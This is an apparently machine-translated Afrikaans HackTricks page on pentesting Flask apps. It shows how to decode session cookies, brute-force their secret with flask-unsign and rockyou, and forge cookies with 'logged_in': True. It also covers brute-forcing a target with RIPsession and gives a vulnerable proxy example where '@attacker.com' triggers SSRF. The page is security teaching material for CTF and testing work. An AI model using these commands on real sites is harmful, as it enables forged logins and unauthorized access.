Flask

Reading time: 3 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Waarskynlik, as jy 'n CTF speel, sal 'n Flask-toepassing verband hou met SSTI.

Koekies

Die standaard koekie sessienaam is session.

Dekodeerder

Aanlyn Flask koekies dekodeerder: https://www.kirsle.net/wizards/flask-session.cgi

Handmatig

Kry die eerste deel van die koekie tot by die eerste punt en Base64 dekodeer dit.

bash
echo "ImhlbGxvIg" | base64 -d

Die koekie is ook onderteken met 'n wagwoord

Flask-Unsign

Opdraglyn hulpmiddel om sessiekoekies van 'n Flask-toepassing te verkry, te ontleed, te brute-force en te vervaardig deur geheime sleutels te raai.

https://pypi.org/project/flask-unsign/

bash
pip3 install flask-unsign

Dekodeer Koekie

bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Teken

bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Ondertekening met behulp van erfenis (ouditiewe weergawes)

bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Opdraglyn hulpmiddel om webwerwe te brute-force met koekies wat met flask-unsign gemaak is.

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign.

bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

SQLi in Flask sessie koekie met SQLmap

Hierdie voorbeeld gebruik sqlmap eval opsie om automaties sqlmap payloads vir flask te teken met 'n bekende geheim.

Flask Proxie na SSRF

In hierdie skrywe word verduidelik hoe Flask 'n versoek toelaat wat begin met die karakter "@":

http
GET @/ HTTP/1.1
Host: target.com
Connection: close

In die volgende scenario:

python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Kan toelaat om iets soos "@attacker.com" in te voer om 'n SSRF te veroorsaak.

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks